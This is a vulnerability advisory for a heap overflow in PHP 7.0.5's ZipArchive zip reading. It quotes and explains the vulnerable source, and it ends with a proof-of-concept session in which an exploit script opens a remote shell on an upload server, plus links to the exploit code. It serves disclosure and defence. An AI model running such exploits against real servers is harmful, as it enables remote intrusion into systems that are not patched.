208 lines
No EOL
5.1 KiB
Text
208 lines
No EOL
5.1 KiB
Text
Details
|
|
=======
|
|
|
|
An integer wrap may occur in PHP 7.x before version 7.0.6 when reading
|
|
zip files with the getFromIndex() and getFromName() methods of
|
|
ZipArchive, resulting in a heap overflow.
|
|
|
|
php-7.0.5/ext/zip/php_zip.c
|
|
,----
|
|
| 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */
|
|
| 2680 {
|
|
| ....
|
|
| 2684 struct zip_stat sb;
|
|
| ....
|
|
| 2689 zend_long len = 0;
|
|
| ....
|
|
| 2692 zend_string *buffer;
|
|
| ....
|
|
| 2702 if (type == 1) {
|
|
| 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) {
|
|
| 2704 return;
|
|
| 2705 }
|
|
| 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1)
|
|
| 2707 } else {
|
|
| 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) {
|
|
| 2709 return;
|
|
| 2710 }
|
|
| 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1)
|
|
| 2712 }
|
|
| ....
|
|
| 2718 if (len < 1) {
|
|
| 2719 len = sb.size;
|
|
| 2720 }
|
|
| ....
|
|
| 2731 buffer = zend_string_alloc(len, 0); // (2)
|
|
| 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3)
|
|
| ....
|
|
| 2742 }
|
|
`----
|
|
|
|
With `sb.size' from (1) being:
|
|
|
|
php-7.0.5/ext/zip/lib/zip_stat_index.c
|
|
,----
|
|
| 038 ZIP_EXTERN int
|
|
| 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags,
|
|
| 040 zip_stat_t *st)
|
|
| 041 {
|
|
| ...
|
|
| 043 zip_dirent_t *de;
|
|
| 044
|
|
| 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL)
|
|
| 046 return -1;
|
|
| ...
|
|
| 063 st->size = de->uncomp_size;
|
|
| ...
|
|
| 086 }
|
|
`----
|
|
|
|
Both `size' and `uncomp_size' are unsigned 64bit integers:
|
|
|
|
php-7.0.5/ext/zip/lib/zipint.h
|
|
,----
|
|
| 339 struct zip_dirent {
|
|
| ...
|
|
| 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */
|
|
| ...
|
|
| 332 };
|
|
`----
|
|
|
|
php-7.0.5/ext/zip/lib/zip.h
|
|
,----
|
|
| 279 struct zip_stat {
|
|
| ...
|
|
| 283 zip_uint64_t size; /* size of file (uncompressed) */
|
|
| ...
|
|
| 290 };
|
|
`----
|
|
|
|
Whereas `len' is signed and has a platform-dependent size:
|
|
|
|
php-7.0.5/Zend/zend_long.h
|
|
,----
|
|
| 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64)
|
|
| 029 # define ZEND_ENABLE_ZVAL_LONG64 1
|
|
| 030 #endif
|
|
| ...
|
|
| 033 #ifdef ZEND_ENABLE_ZVAL_LONG64
|
|
| 034 typedef int64_t zend_long;
|
|
| ...
|
|
| 043 #else
|
|
| 044 typedef int32_t zend_long;
|
|
| ...
|
|
| 053 #endif
|
|
`----
|
|
|
|
Uncompressed file sizes in zip-archives may be specified as either 32-
|
|
or 64bit values; with the latter requiring that the size be specified in
|
|
the extra field in zip64 mode.
|
|
|
|
Anyway, as for the invocation of `zend_string_alloc()' in (2):
|
|
|
|
php-7.0.5/Zend/zend_string.h
|
|
,----
|
|
| 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
|
|
| 120 {
|
|
| 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4)
|
|
| ...
|
|
| 133 ZSTR_LEN(ret) = len; // (5)
|
|
| 134 return ret;
|
|
| 135 }
|
|
`----
|
|
|
|
The `size' argument to the `pemalloc' macro is aligned/adjusted in (4)
|
|
whilst the *original* value of `len' is stored as the size of the
|
|
allocated buffer in (5). No boundary checking is done in (4) and it may
|
|
thus wrap, which would lead to a heap overflow during the invocation of
|
|
`zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)':
|
|
|
|
php-7.0.5/Zend/zend_string.h
|
|
,----
|
|
| 041 #define ZSTR_LEN(zstr) (zstr)->len
|
|
`----
|
|
|
|
On a 32bit system:
|
|
|
|
,----
|
|
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe))
|
|
| $1 = 0x10
|
|
`----
|
|
|
|
The wraparound may also occur on 64bit systems with `uncomp_size'
|
|
specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463).
|
|
However, it won't result in a buffer overflow because of `zip_fread()'
|
|
bailing on a size that would have wrapped the allocation in (4):
|
|
|
|
php-7.0.5/ext/zip/lib/zip_fread.c
|
|
,----
|
|
| 038 ZIP_EXTERN zip_int64_t
|
|
| 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread)
|
|
| 040 {
|
|
| ...
|
|
| 049 if (toread > ZIP_INT64_MAX) {
|
|
| 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0);
|
|
| 051 return -1;
|
|
| 052 }
|
|
| ...
|
|
| 063 }
|
|
`----
|
|
|
|
php-7.0.5/ext/zip/lib/zipconf.h
|
|
,----
|
|
| 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL
|
|
`----
|
|
|
|
,----
|
|
| (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff))
|
|
| $1 = 0x8000000000000018
|
|
`----
|
|
|
|
PoC
|
|
===
|
|
|
|
Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]:
|
|
|
|
,----
|
|
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
|
|
| [*] this may take a while
|
|
| [*] 103 of 4096 (0x67fd0)...
|
|
| [+] connected to 1.2.3.4:5555
|
|
|
|
|
| id
|
|
| uid=33(http) gid=33(http) groups=33(http)
|
|
|
|
|
| uname -a
|
|
| Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST
|
|
| 2016 i686 GNU/Linux
|
|
|
|
|
| pacman -Qs php-fpm
|
|
| local/php-fpm 7.0.5-2
|
|
| FastCGI Process Manager for PHP
|
|
|
|
|
| cat upload.php
|
|
| <?php
|
|
| $zip = new ZipArchive();
|
|
| if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
|
|
| echo "cannot open archive\n";
|
|
| } else {
|
|
| for ($i = 0; $i < $zip->numFiles; $i++) {
|
|
| $data = $zip->getFromIndex($i);
|
|
| }
|
|
| $zip->close();
|
|
| }
|
|
| ?>
|
|
`----
|
|
|
|
|
|
|
|
Solution
|
|
========
|
|
|
|
This issue has been fixed in php 7.0.6.
|
|
|
|
|
|
Proof of Concept:
|
|
|
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39742.zip
|
|
https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078 |